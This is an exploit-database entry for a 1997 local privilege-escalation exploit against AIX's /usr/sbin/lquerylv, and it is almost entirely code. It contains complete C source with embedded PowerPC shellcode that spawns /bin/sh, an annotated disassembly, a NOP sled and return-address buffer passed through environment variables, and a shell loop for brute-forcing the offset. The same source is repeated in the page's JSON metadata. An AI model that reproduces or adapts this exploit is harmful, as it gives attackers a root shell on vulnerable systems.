Search...

AIX lquerylv - Local Buffer Overflow Local Privilege Escalation

1997-05-26T00:00:00

ID EXPLOITPACK:A94D9B18AE4AC9F381A05E341B54A7B5
Type exploitpack
Reporter Georgi Guninski
Modified 1997-05-26T00:00:00

Description

AIX lquerylv - Local Buffer Overflow Local Privilege Escalation

                                        
                                            #include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;


char prog[100]="/usr/sbin/lquerylv";
char prog2[30]="lquerylv";
extern int execv();

char *createvar(char *name,char *value)
{
char *c;
int l;
l=strlen(name)+strlen(value)+4;
if (! (c=malloc(l))) {perror("error allocating");exit(2);};
strcpy(c,name);
strcat(c,"=");
strcat(c,value);
putenv(c);
return c;
}

/*The program*/
main(int argc,char **argv,char **env)
{
/*The code*/
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};
/* disassembly
7c0802a6        mfspr   r0,LR
9421fbb0        stu     SP,-1104(SP) --get stack
90010458        st      r0,1112(SP)
3c60f019        cau     r3,r0,0xf019 --CTR
60632c48        lis     r3,r3,11336  --CTR
90610440        st      r3,1088(SP)
3c60d002        cau     r3,r0,0xd002 --TOC
60634c0c        lis     r3,r3,19468  --TOC
90610444        st      r3,1092(SP)
3c602f62        cau     r3,r0,0x2f62 --'/bin/sh\x01'
6063696e        lis     r3,r3,26990
90610438        st      r3,1080(SP)
3c602f73        cau     r3,r0,0x2f73
60636801        lis     r3,r3,26625
3863ffff        addi    r3,r3,-1
9061043c        st      r3,1084(SP) --terminate with 0
30610438        lis     r3,SP,1080
7c842278        xor     r4,r4,r4    --argv=NULL
80410440        lwz     RTOC,1088(SP)
80010444        lwz     r0,1092(SP) --jump
7c0903a6        mtspr   CTR,r0
4e800420        bctr              --jump
*/

#define MAXBUF 600
unsigned int buf[MAXBUF];
unsigned int frame[MAXBUF];
unsigned int i,nop,mn;
int max;
int QUIET=0;
int dobuf=0;
unsigned int toc;
unsigned int eco;
unsigned int *pt;
char *t;
int ch;
unsigned int reta; /* return address */
int corr=4600;
char *args[4];
char *arg1="-L";
char *newenv[8];
int startwith=0;

mn=100;
max=280;

if (argc&gt;1)
        corr = atoi(argv[1]);

pt=(unsigned *) &execv;
toc=*(pt+1);
eco=*pt;

if ( ((mn+strlen((char*)&code)/4)&gt;max) || (max&gt;MAXBUF) )
{
        perror("Bad parameters");
        exit(1);
}

#define OO 7
*((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code + OO)=(unsigned short) ((toc &gt;&gt; 16) & 0x0000ffff);
*((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code + OO + 6 )=(unsigned short) ((eco &gt;&gt; 16) &
0x0000ffff);

reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr;

for(nop=0;nop&lt;mn;nop++)
 buf[nop]=startwith ? reta : 0x4ffffb82;        /*NOP*/
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen( (char*) &code)/4-1;

if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
        || !(reta && 0xff000000))
{
perror("Return address has zero");exit(5);
}

while(i++&lt;max)
 buf[i]=reta;
buf[i]=0;

for(i=0;i&lt;max-1;i++)
 frame[i]=reta;
frame[i]=0;

if(QUIET) {puts((char*)&buf);fflush(stdout);exit(0);};

/* 4 vars 'cause the correct one should be aligned at 4bytes boundary */
newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);


newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
newenv[5]=NULL;

args[0]=prog2;
args[1]=arg1;
args[2]=(char*)&frame[0]; /* Just frame pointers */
puts("Start...");/*Here we go*/
execve(prog,args,newenv);
perror("Error executing execve \n");
/*      Georgi Guninski
        guninski@hotmail.com
        sgg@vmei.acad.bg
        guninski@linux2.vmei.acad.bg
        http://www.geocities.com/ResearchTriangle/1711
*/
}
/*
----------cut here---------
----------sometimes this helps-----------------
#!/bin/ksh
L=100
O=40
while [ $L -lt 12000 ]
do
echo $L
L=`expr $L + 42`
./a.out $L
done */

// milw0rm.com [1997-05-26]

JSON Vulners Source

Initial Source

{"lastseen": "2020-04-01T19:04:00", "references": [], "description": "\nAIX lquerylv - Local Buffer Overflow Local Privilege Escalation", "edition": 1, "reporter": "Georgi Guninski", "exploitpack": {"type": "local", "platform": "aix"}, "published": "1997-05-26T00:00:00", "title": "AIX lquerylv - Local Buffer Overflow Local Privilege Escalation", "type": "exploitpack", "enchantments": {"dependencies": {"references": [], "modified": "2020-04-01T19:04:00", "rev": 2}, "score": {"value": 1.0, "vector": "NONE", "modified": "2020-04-01T19:04:00", "rev": 2}, "vulnersScore": 1.0}, "bulletinFamily": "exploit", "cvelist": [], "modified": "1997-05-26T00:00:00", "id": "EXPLOITPACK:A94D9B18AE4AC9F381A05E341B54A7B5", "href": "", "viewCount": 2, "sourceData": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n\nchar prog[100]=\"/usr/sbin/lquerylv\";\nchar prog2[30]=\"lquerylv\";\nextern int execv();\n\nchar *createvar(char *name,char *value)\n{\nchar *c;\nint l;\nl=strlen(name)+strlen(value)+4;\nif (! (c=malloc(l))) {perror(\"error allocating\");exit(2);};\nstrcpy(c,name);\nstrcat(c,\"=\");\nstrcat(c,value);\nputenv(c);\nreturn c;\n}\n\n/*The program*/\nmain(int argc,char **argv,char **env)\n{\n/*The code*/\nunsigned int code[]={\n0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,\n0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,\n0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,\n0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,\n0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,\n0x7c0903a6 , 0x4e800420, 0x0\n};\n/* disassembly\n7c0802a6 mfspr r0,LR\n9421fbb0 stu SP,-1104(SP) --get stack\n90010458 st r0,1112(SP)\n3c60f019 cau r3,r0,0xf019 --CTR\n60632c48 lis r3,r3,11336 --CTR\n90610440 st r3,1088(SP)\n3c60d002 cau r3,r0,0xd002 --TOC\n60634c0c lis r3,r3,19468 --TOC\n90610444 st r3,1092(SP)\n3c602f62 cau r3,r0,0x2f62 --'/bin/sh\\x01'\n6063696e lis r3,r3,26990\n90610438 st r3,1080(SP)\n3c602f73 cau r3,r0,0x2f73\n60636801 lis r3,r3,26625\n3863ffff addi r3,r3,-1\n9061043c st r3,1084(SP) --terminate with 0\n30610438 lis r3,SP,1080\n7c842278 xor r4,r4,r4 --argv=NULL\n80410440 lwz RTOC,1088(SP)\n80010444 lwz r0,1092(SP) --jump\n7c0903a6 mtspr CTR,r0\n4e800420 bctr --jump\n*/\n\n#define MAXBUF 600\nunsigned int buf[MAXBUF];\nunsigned int frame[MAXBUF];\nunsigned int i,nop,mn;\nint max;\nint QUIET=0;\nint dobuf=0;\nunsigned int toc;\nunsigned int eco;\nunsigned int *pt;\nchar *t;\nint ch;\nunsigned int reta; /* return address */\nint corr=4600;\nchar *args[4];\nchar *arg1=\"-L\";\nchar *newenv[8];\nint startwith=0;\n\nmn=100;\nmax=280;\n\nif (argc>1)\n corr = atoi(argv[1]);\n\npt=(unsigned *) &execv;\ntoc=*(pt+1);\neco=*pt;\n\nif ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )\n{\n perror(\"Bad parameters\");\n exit(1);\n}\n\n#define OO 7\n*((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);\n*((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff);\n*((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);\n*((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &\n0x0000ffff);\n\nreta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr;\n\nfor(nop=0;nop<mn;nop++)\n buf[nop]=startwith ? reta : 0x4ffffb82; /*NOP*/\nstrcpy((char*)&buf[nop],(char*)&code);\ni=nop+strlen( (char*) &code)/4-1;\n\nif( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)\n || !(reta && 0xff000000))\n{\nperror(\"Return address has zero\");exit(5);\n}\n\nwhile(i++<max)\n buf[i]=reta;\nbuf[i]=0;\n\nfor(i=0;i<max-1;i++)\n frame[i]=reta;\nframe[i]=0;\n\nif(QUIET) {puts((char*)&buf);fflush(stdout);exit(0);};\n\n/* 4 vars 'cause the correct one should be aligned at 4bytes boundary */\nnewenv[0]=createvar(\"EGGSHEL\",(char*)&buf[0]);\nnewenv[1]=createvar(\"EGGSHE2\",(char*)&buf[0]);\nnewenv[2]=createvar(\"EGGSHE3\",(char*)&buf[0]);\nnewenv[3]=createvar(\"EGGSHE4\",(char*)&buf[0]);\n\n\nnewenv[4]=createvar(\"DISPLAY\",getenv(\"DISPLAY\"));\nnewenv[5]=NULL;\n\nargs[0]=prog2;\nargs[1]=arg1;\nargs[2]=(char*)&frame[0]; /* Just frame pointers */\nputs(\"Start...\");/*Here we go*/\nexecve(prog,args,newenv);\nperror(\"Error executing execve \\n\");\n/* Georgi Guninski\n guninski@hotmail.com\n sgg@vmei.acad.bg\n guninski@linux2.vmei.acad.bg\n http://www.geocities.com/ResearchTriangle/1711\n*/\n}\n/*\n----------cut here---------\n----------sometimes this helps-----------------\n#!/bin/ksh\nL=100\nO=40\nwhile [ $L -lt 12000 ]\ndo\necho $L\nL=`expr $L + 42`\n./a.out $L\ndone */\n\n// milw0rm.com [1997-05-26]", "cvss": {"score": 0.0, "vector": "NONE"}}